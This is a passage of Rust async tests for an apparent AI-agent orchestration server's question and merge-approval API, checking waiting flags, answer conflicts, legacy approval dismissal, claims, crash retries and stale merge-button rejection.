12668            fx.get("/api/questions/nope/asset/diff.svg").await.status,
12669            404
12670        );
12671    }
12672
12673    #[tokio::test]
12674    async fn a_run_with_an_open_question_reads_as_waiting() {
12675        let fx = Fixture::start().await;
12676        let run = "20260902-000000-beef".to_owned();
12677        write_run(&fx.runs(), &run, RunStatus::Implementing);
12678
12679        let before = fx.get("/api/runs").await.json();
12680        assert_eq!(before[0]["waiting"], false, "{before}");
12681
12682        let store = fx.questions();
12683        let mut q = Question::new(
12684            run.clone(),
12685            "implement".to_owned(),
12686            "impl-A".to_owned(),
12687            "Which backend?".to_owned(),
12688            String::new(),
12689            vec!["SQLite".to_owned()],
12690        );
12691        store.put(&mut q).expect("put");
12692
12693        let during = fx.get("/api/runs").await.json();
12694        assert_eq!(during[0]["waiting"], true, "{during}");
12695
12696        // Answered: the run is moving again, and the flag has to follow without
12697        // anything having rewritten run.json.
12698        q.answer(Answer::Choice("SQLite".to_owned()))
12699            .expect("answer");
12700        store.put(&mut q).expect("put");
12701        let after = fx.get("/api/runs").await.json();
12702        assert_eq!(after[0]["waiting"], false, "{after}");
12703    }
12704
12705    #[tokio::test]
12706    async fn an_open_question_is_listed_and_counted_by_health() {
12707        let fx = Fixture::start().await;
12708        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12709
12710        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12711        let listed = fx.get("/api/questions").await.json();
12712        assert_eq!(listed.as_array().expect("array").len(), 1);
12713        assert_eq!(listed[0]["id"], id);
12714        assert_eq!(listed[0]["status"], "open");
12715        assert_eq!(listed[0]["choices"][1], "Redis");
12716        // The count is what makes the phone's indicator honest: it is the one
12717        // number meaning nothing will move until a human acts.
12718        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12719    }
12720
12721    fn obsolete_approval_state() -> RunState {
12722        let mut state = crate::land::tests::repair_state(true, true);
12723        state.pr = Some(crate::run::PrRecord {
12724            url: "https://github.com/example/repo/pull/42".into(),
12725            number: 42,
12726            state: "open".into(),
12727            checks: "green".into(),
12728            round: 1,
12729            rounds: 4,
12730            red_at_merge: Vec::new(),
12731        });
12732        state
12733    }
12734
12735    #[tokio::test]
12736    async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
12737        for owner in ["missing", "current", "completed", "later"] {
12738            let fx = Fixture {
12739                home: TempDir::new().unwrap(),
12740                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12741            };
12742            let mut state = obsolete_approval_state();
12743            state.status = RunStatus::Landing;
12744            state.parked = true;
12745            state.driver_exited = true;
12746            let mut q = Question::new(
12747                state.id.clone(),
12748                crate::land::APPROVAL_NODE.into(),
12749                "land".into(),
12750                "Old approval".into(),
12751                "Original evidence".into(),
12752                vec!["merge".into(), "hold".into()],
12753            );
12754            state.land_approval = Some(crate::run::LandApproval {
12755                question: q.id.clone(),
12756                head: "head".into(),
12757            });
12758            state.save_under(fx.home.path()).unwrap();
12759            let stale = state.clone();
12760            fx.questions().put(&mut q).unwrap();
12761            let mut task = Task::new(
12762                "Owner".into(),
12763                "Original instruction".into(),
12764                state.repo.clone(),
12765                Source::Human,
12766            );
12767            task.runs.push(state.id.clone());
12768            task.status = if owner == "completed" {
12769                TaskStatus::Done
12770            } else {
12771                TaskStatus::Parked
12772            };
12773            if owner == "later" {
12774                task.runs.push("later-run".into());
12775            }
12776            if owner != "missing" {
12777                fx.queue().put(&mut task).unwrap();
12778            }
12779            let ui = Arc::new(Ui::new(
12780                fx.queue(),
12781                fx.questions(),
12782                fx.talks(),
12783                fx.runs(),
12784                fx.home.path().into(),
12785                state.repo.clone(),
12786            ));
12787            let response = question_answer(
12788                State(ui),
12789                Path(q.id.clone()),
12790                Ok(Json(NewAnswer {
12791                    choice: Some(crate::merge_decision::DISMISS.into()),
12792                    text: None,
12793                    ..Default::default()
12794                })),
12795            )
12796            .await
12797            .unwrap();
12798            assert_eq!(
12799                response.0.question.resolution().as_deref(),
12800                Some(crate::merge_decision::DISMISS)
12801            );
12802            let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12803            assert_eq!(disk.status, RunStatus::Superseded);
12804            assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
12805            assert!(!crate::merge_decision::resumable_hold(&disk));
12806            assert_eq!(
12807                serde_json::to_value(&disk.pr).unwrap(),
12808                serde_json::to_value(&stale.pr).unwrap()
12809            );
12810            assert_eq!(fx.questions().count_open(), 0);
12811            assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
12812            crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12813            if owner == "missing" {
12814                assert!(fx.queue().list().is_empty());
12815            } else {
12816                let after = fx.queue().get(&task.id).unwrap();
12817                assert_eq!(
12818                    after.status,
12819                    if owner == "current" {
12820                        TaskStatus::Done
12821                    } else {
12822                        task.status
12823                    }
12824                );
12825                assert_eq!(after.runs, task.runs);
12826                assert_eq!(after.instruction, task.instruction);
12827                assert_eq!(after.action_applied(&q.id), owner == "current");
12828            }
12829        }
12830    }
12831
12832    #[tokio::test]
12833    async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
12834        let fx = Fixture::start().await;
12835        let mut state = obsolete_approval_state();
12836        state.status = RunStatus::Landing;
12837        state.parked = true;
12838        state.driver_exited = true;
12839        let mut q = Question::new(
12840            state.id.clone(),
12841            crate::land::APPROVAL_NODE.into(),
12842            "land".into(),
12843            "Superseded PR approval".into(),
12844            "Original review evidence".into(),
12845            vec!["merge".into(), "hold".into()],
12846        );
12847        state.land_approval = Some(crate::run::LandApproval {
12848            question: q.id.clone(),
12849            head: "old-reviewed-head".into(),
12850        });
12851        // The old persisted PR may still say open even when a separate change
12852        // already landed. Dismissal must not use that snapshot to close it.
12853        state.save_under(fx.home.path()).unwrap();
12854        let stale_driver = state.clone();
12855        fx.questions().put(&mut q).unwrap();
12856        let path = fx
12857            .home
12858            .path()
12859            .join("questions")
12860            .join(format!("{}.json", q.id));
12861        let mut legacy = serde_json::to_value(&q).unwrap();
12862        legacy["schema"] = 9.into();
12863        legacy.as_object_mut().unwrap().remove("merge_target");
12864        std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
12865
12866        // POST without GET tests legacy upgrade and validation at the actual
12867        // entry point, rather than constructing a modern card in the test.
12868        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12869        let answer_path = format!("/api/questions/{}/answer", q.id);
12870        let res = fx.post(&answer_path, Some(&body)).await;
12871        assert_eq!(res.status, 200, "{}", res.body);
12872        let disk = fx.questions().get(&q.id).unwrap();
12873        assert_eq!(
12874            disk.resolution().as_deref(),
12875            Some(crate::merge_decision::DISMISS)
12876        );
12877        assert!(disk.detail.starts_with("Original review evidence"));
12878        let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
12879        assert_eq!(retired.status, RunStatus::Superseded);
12880        assert_eq!(
12881            serde_json::to_value(&retired.pr).unwrap(),
12882            serde_json::to_value(&state.pr).unwrap()
12883        );
12884        assert!(!retired.merge_decision.as_ref().unwrap().closed);
12885        assert!(!crate::merge_decision::resumable_hold(&retired));
12886        assert!(fx.queue().list().is_empty());
12887        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12888        // A restarted server re-reads the persisted pending list.
12889        let addr = Fixture::serve(
12890            fx.home.path(),
12891            PathBuf::from("/repo/magi"),
12892            launch_idle,
12893            None,
12894        )
12895        .await;
12896        let reconnected = Fixture {
12897            home: fx.home,
12898            addr,
12899        };
12900        let listed = reconnected.get("/api/questions").await.json();
12901        assert!(
12902            listed
12903                .as_array()
12904                .unwrap()
12905                .iter()
12906                .all(|q| q["status"] != "open")
12907        );
12908        assert_eq!(listed[0]["id"], q.id, "history remains available");
12909        assert_eq!(
12910            reconnected.get("/api/health").await.json()["questions_open"],
12911            0
12912        );
12913        assert_eq!(
12914            reconnected
12915                .post(&answer_path, Some(r#"{"choice":"merge"}"#))
12916                .await
12917                .status,
12918            409
12919        );
12920        // A late waiter cannot turn the old answer into a new decision.
12921        assert!(
12922            reconnected
12923                .questions()
12924                .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
12925                .is_err()
12926        );
12927        // The same guard used by claims, repair and publication rejects a
12928        // saved in-memory driver as well as the persisted terminal record.
12929        assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
12930    }
12931
12932    #[tokio::test]
12933    async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
12934        let fx = Fixture::start().await;
12935        let mut state = obsolete_approval_state();
12936        state.status = RunStatus::Landing;
12937        state.driver_exited = true;
12938        let mut q = Question::new(
12939            state.id.clone(),
12940            crate::land::APPROVAL_NODE.into(),
12941            "land".into(),
12942            "Obsolete approval".into(),
12943            String::new(),
12944            vec!["merge".into(), "hold".into()],
12945        );
12946        state.land_approval = Some(crate::run::LandApproval {
12947            question: q.id.clone(),
12948            head: "head".into(),
12949        });
12950        state.save_under(fx.home.path()).unwrap();
12951        fx.questions().put(&mut q).unwrap();
12952        let mut task = Task::new(
12953            "Owner".into(),
12954            "Original instruction".into(),
12955            state.repo.clone(),
12956            Source::Human,
12957        );
12958        task.runs = vec![state.id.clone(), "later-run".into()];
12959        fx.queue().put(&mut task).unwrap();
12960        let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
12961        let claim = fx.queue().claim(&task.id).unwrap();
12962        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12963        let path = format!("/api/questions/{}/answer", q.id);
12964        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12965        assert!(fx.questions().get(&q.id).unwrap().status.open());
12966        drop(claim);
12967        let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
12968        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12969        assert!(fx.questions().get(&q.id).unwrap().status.open());
12970        drop(publication);
12971        // Unknown liveness and armed auto-merge both fail without settling.
12972        state.driver_exited = false;
12973        state.driver_pid = None;
12974        state.driver_claimed = None; // No durable proof of an unstarted execution.
12975        state.save_under(fx.home.path()).unwrap();
12976        assert_eq!(
12977            state.liveness_under(fx.home.path(), false),
12978            crate::run::Liveness::Unknown
12979        );
12980
12981        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12982        state.driver_exited = true;
12983        state.land_armed_head = Some("head".into());
12984        state.save_under(fx.home.path()).unwrap();
12985        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12986        state.land_armed_head = None;
12987        state.save_under(fx.home.path()).unwrap();
12988        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12989        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12990        assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
12991    }
12992
12993    #[tokio::test]
12994    async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
12995        let fx = Fixture::start().await;
12996        let mut state = obsolete_approval_state();
12997        state.status = RunStatus::Landing;
12998        state.driver_exited = true;
12999        let mut q = Question::new(
13000            state.id.clone(),
13001            crate::land::APPROVAL_NODE.into(),
13002            "land".into(),
13003            "Obsolete approval".into(),
13004            String::new(),
13005            vec!["merge".into(), "hold".into()],
13006        );
13007        state.land_approval = Some(crate::run::LandApproval {
13008            question: q.id.clone(),
13009            head: "head".into(),
13010        });
13011        state.save_under(fx.home.path()).unwrap();
13012        fx.questions().put(&mut q).unwrap();
13013        let mut task = Task::new(
13014            "Owner".into(),
13015            "Original instruction".into(),
13016            state.repo.clone(),
13017            Source::Human,
13018        );
13019        task.runs.push(state.id.clone());
13020        task.status = TaskStatus::Parked;
13021        fx.queue().put(&mut task).unwrap();
13022        // Model a crash after the run stop was persisted but before the queue
13023        // and answered question were flushed. Retrying must finish, not resume.
13024        state.merge_decision = Some(crate::merge_decision::Decision {
13025            question: q.id.clone(),
13026            target: crate::merge_decision::Target {
13027                pr: state.pr.as_ref().unwrap().url.clone(),
13028                head: "head".into(),
13029                language: "ja".into(),
13030            },
13031            choice: crate::merge_decision::DISMISS.into(),
13032            closed: false,
13033            replacement_run: None,
13034            replacement_pr: None,
13035        });
13036        state.status = RunStatus::Superseded;
13037        state.save_under(fx.home.path()).unwrap();
13038        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
13039        let path = format!("/api/questions/{}/answer", q.id);
13040        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
13041        let done = fx.queue().get(&task.id).unwrap();
13042        assert_eq!(done.status, TaskStatus::Done);
13043        assert_eq!(done.runs, task.runs);
13044        assert_eq!(done.instruction, task.instruction);
13045        assert!(done.action_applied(&q.id));
13046        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13047        assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
13048        assert!(!fx.questions().get(&q.id).unwrap().status.open());
13049    }
13050
13051    #[tokio::test]
13052    async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
13053        let home = TempDir::new().unwrap();
13054        let ui = Arc::new(Ui::new(
13055            Queue::at(home.path().join("queue")),
13056            Questions::at(home.path().join("questions")),
13057            Talks::at(home.path().join("talks")),
13058            home.path().join("runs"),
13059            home.path().to_owned(),
13060            home.path().to_owned(),
13061        ));
13062        let talks = &ui.talks;
13063        let chat =
13064            talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
13065        let mut q = Question::new(
13066            "run".into(),
13067            crate::land::APPROVAL_NODE.into(),
13068            "land".into(),
13069            "Merge?".into(),
13070            String::new(),
13071            vec!["merge".into(), "hold".into()],
13072        );
13073        q.routed_task = Some("task".into());
13074        q.routed_chat = Some(chat.id.clone());
13075        q.merge_target = Some(crate::merge_decision::Target {
13076            pr: "https://example.test/pull/1".into(),
13077            head: "head-a".into(),
13078            language: "en".into(),
13079        });
13080        ui.questions.put(&mut q).unwrap();
13081        let send = |body| {
13082            question_answer(
13083                State(ui.clone()),
13084                Path(q.id.clone()),
13085                Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
13086            )
13087        };
13088        let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
13089        assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
13090        let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
13091        assert!(send(wrong_chat).await.is_err());
13092        let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
13093        assert!(send(stale).await.is_err());
13094        assert!(ui.questions.get(&q.id).unwrap().status.open());
13095        assert!(send(button.clone()).await.is_ok());
13096        assert_eq!(
13097            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13098            Some("merge")
13099        );
13100        assert!(send(button).await.is_err());
13101    }
13102
13103    #[tokio::test]
13104    async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
13105        let home = TempDir::new().unwrap();
13106        let ui = Arc::new(Ui::new(
13107            Queue::at(home.path().join("queue")),
13108            Questions::at(home.path().join("questions")),
13109            Talks::at(home.path().join("talks")),
13110            home.path().join("runs"),
13111            home.path().to_owned(),
13112            home.path().to_owned(),
13113        ));
13114        for choice in [crate::land::APPROVE, crate::land::HOLD] {
13115            let mut q = Question::new(
13116                "run".into(),
13117                crate::land::APPROVAL_NODE.into(),
13118                "land".into(),
13119                "Merge?".into(),
13120                String::new(),
13121                vec!["merge".into(), choice.into()],
13122            );
13123            q.routed_task = Some("task".into());
13124            q.merge_target = Some(crate::merge_decision::Target {
13125                pr: "https://example.test/pull/1".into(),
13126                head: "head-a".into(),
13127                language: "en".into(),
13128            });
13129            ui.questions.put(&mut q).unwrap();
13130            let answer = |c: &str| {
13131                question_answer(
13132                    State(ui.clone()),
13133                    Path(q.id.clone()),
13134                    Ok(Json(
13135                        serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
13136                            .unwrap(),
13137                    )),
13138                )
13139            };
13140            let _ = answer(choice).await.unwrap();
13141            assert_eq!(
13142                ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13143                Some(choice)
13144            );
13145        }
13146    }
13147
13148    #[tokio::test]
13149    async fn a_routed_decision_records_a_plain_answer_on_the_question_route() {
13150        let home = TempDir::new().unwrap();
13151        let ui = Arc::new(Ui::new(
13152            Queue::at(home.path().join("queue")),
13153            Questions::at(home.path().join("questions")),
13154            Talks::at(home.path().join("talks")),
13155            home.path().join("runs"),
13156            home.path().to_owned(),
13157            home.path().to_owned(),
13158        ));
13159        let mut q = Question::new(
13160            "run".into(),
13161            crate::github_text::ASK_NODE.into(),
13162            "posting-gate".into(),
13163            "Post?".into(),
13164            String::new(),
13165            vec!["use fallback".into()],
13166        );
13167        q.routed_task = Some("task".into());
13168        ui.questions.put(&mut q).unwrap();
13169        let sent = question_answer(
13170            State(ui.clone()),
13171            Path(q.id.clone()),
13172            Ok(Json(
13173                serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
13174                    .unwrap(),
13175            )),
13176        )
13177        .await;
13178        let _ = sent.unwrap();
13179        assert_eq!(
13180            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13181            Some("use fallback")
13182        );
13183    }
13184
13185    #[tokio::test]
13186    async fn merge_decision_api_persists_exact_target_and_selected_action() {
13187        let fx = Fixture {
13188            home: TempDir::new().unwrap(),
13189            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13190        };
13191        for choice in [
13192            crate::land::HOLD,
13193            crate::land::REPAIR,
13194            crate::land::APPROVE,
13195            crate::merge_decision::WITHDRAW,
13196            "reimplement:beta",
13197        ] {
13198            let mut q = Question::new(
13199                "old-run".into(),
13200                crate::land::APPROVAL_NODE.into(),
13201                "land".into(),
13202                "Decision".into(),
13203                "Review findings".into(),
13204                vec![
13205                    "merge".into(),
13206                    "hold".into(),
13207                    crate::land::REPAIR.into(),
13208                    crate::merge_decision::WITHDRAW.into(),
13209                    "reimplement:beta".into(),
13210                ],
13211            );
13212            q.merge_target = Some(crate::merge_decision::Target {
13213                pr: "https://github.com/example/repo/pull/42".into(),
13214                head: "exact-reviewed-head".into(),
13215                language: "ja".into(),
13216            });
13217            q.consult = Some(ask::ChatConsult {
13218                talk: "another-conversation".into(),
13219                at: jiff::Timestamp::now(),
13220            });
13221            fx.questions().put(&mut q).unwrap();
13222            let ui = Arc::new(Ui::new(
13223                fx.queue(),
13224                fx.questions(),
13225                fx.talks(),
13226                fx.runs(),
13227                fx.home.path().into(),
13228                std::path::PathBuf::from("."),
13229            ));
13230            let response = question_answer(
13231                State(ui.clone()),
13232                Path(q.id.clone()),
13233                Ok(Json(NewAnswer {
13234                    choice: Some(choice.into()),
13235                    text: None,
13236                    ..Default::default()
13237                })),
13238            )
13239            .await
13240            .unwrap();
13241            assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
13242            let disk = fx.questions().get(&q.id).unwrap();
13243            assert_eq!(disk.merge_target, q.merge_target);
13244            assert_eq!(disk.consult, q.consult);
13245            assert_eq!(disk.resolution().as_deref(), Some(choice));
13246            assert!(
13247                question_answer(
13248                    State(ui),
13249                    Path(q.id.clone()),
13250                    Ok(Json(NewAnswer {
13251                        choice: Some("merge".into()),
13252                        text: None,
13253                        ..Default::default()
13254                    }))
13255                )
13256                .await
13257                .is_err(),
13258                "an already settled decision cannot turn into merge approval"
13259            );
13260        }
13261    }
13262
13263    #[tokio::test]
13264    async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
13265        let fx = Fixture {
13266            home: TempDir::new().unwrap(),
13267            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13268        };
13269        let mut state = crate::land::tests::repair_state(true, true);
13270        state.status = RunStatus::Landing;
13271        state.parked = true;
13272        state.driver_exited = true;
13273        let mut task = Task::new(
13274            "Existing PR owner".into(),
13275            state.instruction.clone(),
13276            state.repo.clone(),
13277            Source::Human,
13278        );
13279        task.runs.push(state.id.clone());
13280        task.status = TaskStatus::Parked;
13281        fx.queue().put(&mut task).unwrap();
13282        let mut q = Question::new(
13283            state.id.clone(),
13284            crate::land::APPROVAL_NODE.into(),
13285            "land".into(),
13286            "Contested merge".into(),
13287            "Original evidence".into(),
13288            vec!["merge".into(), "hold".into()],
13289        );
13290        state.land_approval = Some(crate::run::LandApproval {
13291            question: q.id.clone(),
13292            head: "reviewed-head".into(),
13293        });
13294        state.save_under(fx.home.path()).unwrap();
13295        fx.questions().put(&mut q).unwrap();
13296        // A later repair answer on this old card supersedes this manual hold.
13297        task.hold_manual(Some("Pause this PR".into()));
13298        fx.queue().put(&mut task).unwrap();
13299        // POST directly, without a preceding GET: validation must see the
13300        // same durable upgrade that the card, CLI and chat see.
13301        let ui = Arc::new(Ui::new(
13302            fx.queue(),
13303            fx.questions(),
13304            fx.talks(),
13305            fx.runs(),
13306            fx.home.path().to_path_buf(),
13307            state.repo.clone(),
13308        ));
13309        let response = question_answer(
13310            State(ui),
13311            Path(q.id.clone()),
13312            Ok(Json(NewAnswer {
13313                choice: Some(crate::land::REPAIR.into()),
13314                text: None,
13315                ..Default::default()
13316            })),
13317        )
13318        .await
13319        .unwrap();
13320        assert_eq!(response.0.question.id, q.id);
13321        let upgraded = fx.questions().get(&q.id).unwrap();
13322        assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
13323        assert!(upgraded.detail.starts_with("Original evidence"));
13324        let claim = fx.queue().claim(&task.id).unwrap();
13325        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13326        assert!(
13327            fx.queue().get(&task.id).unwrap().resume_override.is_none(),
13328            "an existing driver keeps its claim"
13329        );
13330        drop(claim);
13331        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13332        let resumed = fx.queue().get(&task.id).unwrap();
13333        assert_eq!(
13334            resumed
13335                .resume_override
13336                .as_ref()
13337                .unwrap()
13338                .pinned_run
13339                .as_deref(),
13340            Some(state.id.as_str())
13341        );
13342        assert!(resumed.status.runnable());
13343        assert_eq!(resumed.instruction, task.instruction);
13344        assert_eq!(resumed.runs, task.runs);
13345        assert!(resumed.action_applied(&q.id));
13346        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13347        assert_eq!(fx.queue().list().len(), 1);
13348        assert_eq!(
13349            fx.queue().get(&task.id).unwrap().resume_override,
13350            resumed.resume_override
13351        );
13352        let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
13353        assert!(
13354            disk.merge_repairs.is_empty(),
13355            "only the claimed run driver may execute repair"
13356        );
13357        assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
13358    }
13359
13360    #[tokio::test]
13361    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
13362        let fx = Fixture::start().await;
13363        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13364        let path = format!("/api/questions/{id}/answer");
13365
13366        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
13367        assert_eq!(res.status, 200, "{}", res.body);
13368        let body = res.json();
13369        assert_eq!(body["status"], "answered");
13370        assert_eq!(body["answer"]["choice"], "Redis");
13371
13372        // Answered from the terminal in between the list and the tap: the UI
13373        // must be able to tell this from a bad request, so it can show the
13374        // recorded answer instead of an error.
13375        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
13376        assert_eq!(again.status, 409, "{}", again.body);
13377        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
13378    }
13379
13380    #[tokio::test]
13381    async fn fresh_api_answers_survive_task_inquiry_migration() {
13382        use crate::{ask::ChoiceAction, task_decision::Status, task_inquiry::Outbox};
13383        for migrate_first in [false, true] {
13384            let fx = Fixture::start().await;
13385            let mut task = Task::new(
13386                "work".into(),
13387                "work".into(),
13388                PathBuf::from("/repo/magi"),
13389                Source::Human,
13390            );
13391            task.runs.push("run-a".into());
13392            fx.queue().put(&mut task).unwrap();
13393            let mut q = Question::new(
13394                "run-a".into(),
13395                "implement".into(),
13396                "impl-A".into(),
13397                "Keep held?".into(),
13398                String::new(),
13399                vec!["hold".into()],
13400            );
13401            q.actions.insert("hold".into(), ChoiceAction::Hold);
13402            fx.questions().put(&mut q).unwrap();
13403            if migrate_first {
13404                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13405            }
13406            let response = fx
13407                .post(
13408                    &format!("/api/questions/{}/answer", q.id),
13409                    Some(r#"{"choice":"hold"}"#),
13410                )
13411                .await;
13412            assert_eq!(response.status, 200, "{}", response.body);
13413            for _ in 0..2 {
13414                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13415                let source = fx.questions().get(&q.id).unwrap();
13416                assert_eq!(source.resolution().as_deref(), Some("hold"));
13417                let decision = Outbox::at(fx.home.path())
13418                    .get(&q.id)
13419                    .unwrap()
13420                    .decision
13421                    .unwrap();
13422                assert_eq!(decision.request.as_deref(), Some("decision: hold"));
13423                assert_eq!(decision.source_answer_at, source.answered_at);
13424                assert_eq!(decision.status, Status::Queued);
13425            }
13426            assert_eq!(
13427                fx.post(
13428                    &format!("/api/questions/{}/answer", q.id),
13429                    Some(r#"{"choice":"hold"}"#)
13430                )
13431                .await
13432                .status,
13433                409
13434            );
13435        }
13436    }
13437
13438    #[tokio::test]
13439    async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
13440        let home = tempfile::tempdir().unwrap();
13441        let ui = delta_test_ui(home.path());
13442        let mut q = Question::new(
13443            "task".into(),
13444            crate::land::APPROVAL_NODE.into(),
13445            "land".into(),
13446            "Explain?".into(),
13447            String::new(),
13448            vec!["hold".into()],
13449        );
13450        q.deputy = Some(ask::Deputy::new("context".into()));
13451        ui.questions.put(&mut q).unwrap();
13452        let mut cfg = stub_config();
13453        cfg.daemon.max_deputies = 0;
13454        let mut status = crate::daemon::Status::new();
13455        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13456        crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
13457        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13458        let error = question_say(
13459            State(ui.clone()),
13460            Path(q.id.clone()),
13461            Ok(Json(NewSay {
13462                body: "Explain the findings".into(),
13463            })),
13464        )
13465        .await
13466        .unwrap_err();
13467        assert_eq!(
13468            error.text_reason,
13469            Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
13470        );
13471        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13472
13473        let mut text = Question::new(
13474            "task".into(),
13475            "ask".into(),
13476            "operator".into(),
13477            "Which name?".into(),
13478            String::new(),
13479            vec![],
13480        );
13481        ui.questions.put(&mut text).unwrap();
13482        let Json(view) = question_answer(
13483            State(ui.clone()),
13484            Path(text.id.clone()),
13485            Ok(Json(NewAnswer {
13486                choice: None,
13487                text: Some("chosen name".into()),
13488                ..Default::default()
13489            })),
13490        )
13491        .await
13492        .unwrap();
13493        assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
13494        assert!(!ui.questions.get(&text.id).unwrap().status.open());
13495    }
13496
13497    #[tokio::test]
13498    async fn question_text_handler_admission_without_transport() {
13499        let home = tempfile::tempdir().unwrap();
13500        let ui = delta_test_ui(home.path());
13501        let mut q = Question::new(
13502            "task".into(),
13503            crate::land::APPROVAL_NODE.into(),
13504            "land".into(),
13505            "May this PR merge?".into(),
13506            String::new(),
13507            vec!["hold".into()],
13508        );
13509        q.deputy = Some(ask::Deputy::new("reviewed head".into()));
13510        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13511        ui.questions.put(&mut q).unwrap();
13512        let say = || {
13513            Ok(Json(NewSay {
13514                body: "Explain the findings".into(),
13515            }))
13516        };
13517        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13518            .await
13519            .unwrap_err();
13520        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13521        let response = rejected.into_response();
13522        let body = axum::body::to_bytes(response.into_body(), usize::MAX)
13523            .await
13524            .unwrap();
13525        let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
13526        assert_eq!(body["code"], "question_text_unavailable");
13527        assert_eq!(body["reason"], "deputy_exhausted");
13528        assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
13529        assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
13530        ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
13531        let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
13532            .await
13533            .unwrap();
13534        assert_eq!(view.text_delivery.state, "live");
13535        assert!(view.question.waiter.is_none());
13536        assert!(view.question.cwd.is_none());
13537        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13538        ui.questions.drop_lease(&q.id);
13539        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13540            .await
13541            .unwrap_err();
13542        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13543        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13544        let _ = question_answer(
13545            State(ui.clone()),
13546            Path(q.id.clone()),
13547            Ok(Json(NewAnswer {
13548                choice: Some("hold".into()),
13549                text: None,
13550                ..Default::default()
13551            })),
13552        )
13553        .await
13554        .unwrap();
13555        assert_eq!(
13556            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13557            Some("hold")
13558        );
13559    }
13560
13561    #[tokio::test]
13562    async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
13563        let fx = Fixture::start().await;
13564        let store = fx.questions();
13565        let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
13566        store
